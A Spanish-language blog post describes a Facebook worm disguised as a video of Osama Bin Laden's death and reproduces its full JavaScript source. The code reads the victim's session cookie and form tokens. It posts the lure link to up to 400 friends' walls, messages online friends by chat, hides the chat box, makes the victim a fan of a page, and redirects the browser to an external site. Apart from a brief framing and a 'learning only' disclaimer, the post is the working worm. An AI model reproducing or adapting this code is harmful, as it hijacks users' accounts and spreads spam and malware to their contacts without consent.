Links externos
Era evidente que con la muerte de Osama Bin Laden iban a aparecer aplicaciones maliciosas para atrapar a los usuarios más deprevenidos, por no decirles de otra forma. En este caso, un código hecho en javascript se apodera de tu cuenta de Facebook y se disfraza como si fuera el video de su muerte. Actualmente existen tres variantes de este código pero se cree que van a salir muchas más, por lo menos hasta que Facebook bloquee esta nueva forma de intrusión. Mirá el código fuente del gusano.
Código fuente del gusano
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// // KuNG FU JS v.1 20yrsplus.info /////////////////////////////////////////////////////////////////////////////////////////////////////////////// //alert('Photo Uploaded! Please wait 1-2 minutes without leaving this page until we process your picture!'); function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } var user_id = readCookie("c_user"); // Setup some variables var post_form_id = document.getElementsByName('post_form_id')[0].value; var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; // Chat message variables var linkies = [ "http://www.facebook.com/Osama.Gets.Shot.Down", "http://www.facebook.com/Osama.Gets.Shot.Down", "http://www.facebook.com/Osama.Gets.Shot.Down", "http://www.facebook.com/Osama.Gets.Shot.Down" ] var this_chat = "Watch Osama's EXECUTION Video! " + linkies[Math.floor(Math.random()*linkies.length)]; var prepared_chat = encodeURIComponent(this_chat); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Post Link to friends walls /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var token = Math.round(new Date().getTime() / 1000); var http1 = new XMLHttpRequest(); var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer="+user_id+"&token="+token+"-6&filter[0]=user&options[0]=friends_only"; var params1 = ""; http1.open("GET", url1+"?"+params1, true); http1.onreadystatechange = function() {//Call a function when the state changes. if(http1.readyState == 4 && http1.status == 200) { // If state = success var response1 = http1.responseText; response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object response1 = JSON.parse(response1); // Convert the response to JSON //alert(response4.toSource()); var count = 0; for(uid in response1.payload.entries){ if(count < 400){ //alert("SENT TO "+response1.payload.entries[count].uid); // Loop to send messages // New XMLHttp object var httpwp = new XMLHttpRequest(); var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1"; var statusmessage="Disturbing Yet Awesome!"; var title="Bin Laden EXECUTION Video! Yes it's REAL!"; var link=linkies[Math.floor(Math.random()*linkies.length)]; var description="Commandos attack Bin Laden's compund and take him out!"; var picture="http://i.imgur.com/yTjtU.jpg"; var paramswp = "post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&xhpc_composerid=u574553_1&xhpc_targetid="+response1.payload.entries[count].uid+"&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]="+title+"&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]="+link+"&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]="+title+"&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]="+picture+"&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]="+description+"&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]="+description+"&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]="+link+"&attachment[params][favicon]=http%3A%2F%2F20-y-rr-z.info%2Ffavicon.ico&attachment[params][title]="+title+"&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]="+description+"&attachment[params][url]="+link+"&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]="+description+"&attachment[params][images][0]="+picture+"&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text="+statusmessage+")&xhpc_message="+statusmessage+")&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest"; httpwp.open("POST", urlwp, true); //Send the proper header information along with the request httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpwp.setRequestHeader("Content-length", paramswp.length); httpwp.setRequestHeader("Connection", "keep-alive"); httpwp.onreadystatechange = function() { //Call a function when the state changes. if(httpwp.readyState == 4 && httpwp.status == 200){ //alert(http.responseText); //alert('buddy list fetched'); } } httpwp.send(paramswp); } count++; // increment counter } http1.close; // Close the connection } } http1.send(null); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Hide chat boxes /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var hide = document.getElementById('fbDockChatTabSlider'); hide.style.display = "none"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Get online friends and send chat message to them /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http3 = new XMLHttpRequest(); var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1"; var params3 = "user="+user_id+"&popped_out=false&force_render=true&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"; http3.open("POST", url3, true); //Send the proper header information along with the request http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http3.setRequestHeader("Content-length", params3.length); http3.setRequestHeader("Connection", "close"); http3.onreadystatechange = function() {//Call a function when the state changes. if(http3.readyState == 4 && http3.status == 200) { var response3 = http3.responseText; response3 = response3.replace("for (;;);", ""); response3 = JSON.parse(response3); var count = 0; for(property in response3.payload.buddy_list.nowAvailableList){ if(count < 100){ // Loop to send messages // New XMLHttp object var httpc = new XMLHttpRequest(); // Generate random message ID var msgid = Math.floor(Math.random()*1000000); var time = Math.round(new Date().getTime() / 1000); var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1"; var paramsc = "msg_id="+msgid+"&client_time="+time+"&to="+property+"&num_tabs=1&pvs_time="+time+"&msg_text="+prepared_chat+"&to_offline=false&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest"; httpc.open("POST", urlc, true); //Send the proper header information along with the request httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); httpc.setRequestHeader("Content-length", paramsc.length); httpc.setRequestHeader("Connection", "close"); httpc.onreadystatechange = function() { //Call a function when the state changes. if(httpc.readyState == 4 && httpc.status == 200){ //alert(http.responseText); //alert('buddy list fetched'); } } httpc.send(paramsc); } //alert(property); count++; // increment counter } http3.close; // Close the connection } } http3.send(params3); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan - MW GIVEAWAY /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http4 = new XMLHttpRequest(); var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params4 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest" http4.open("POST", url4, true); //Send the proper header information along with the request http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http4.setRequestHeader("Content-length", params4.length); http4.setRequestHeader("Connection", "close"); http4.onreadystatechange = function() {//Call a function when the state changes. if(http4.readyState == 4 && http4.status == 200) { http4.close; // Close the connection } } http4.send(params4); /////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Become a Fan - MW GIft /////////////////////////////////////////////////////////////////////////////////////////////////////////////// var http5 = new XMLHttpRequest(); var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1"; var params5 = "fbpage_id=217981564879947&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&lsd&post_form_id_source=AsyncRequest" http5.open("POST", url5, true); //Send the proper header information along with the request http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http5.setRequestHeader("Content-length", params5.length); http5.setRequestHeader("Connection", "close"); http5.onreadystatechange = function() {//Call a function when the state changes. if(http5.readyState == 4 && http5.status == 200) { http5.close; // Close the connection } } http5.send(params5); */ //document.getElementById('susta').style.display="none"; document.getElementById('contentArea').innerHTML="Please wait..."; setTimeout("window.location = 'http://osama.mytopanswers.info/video.htm';", 15000);
Para más información: PasteBin
Créditos a quién corresponda. Usar solamente a modo de aprendizaje.
Es increible como se las ingenian para hackear Facebook, y eso que es un entorno super probado. Igual como dice la nota, la gente ayuda a que estas cosas se propaguen...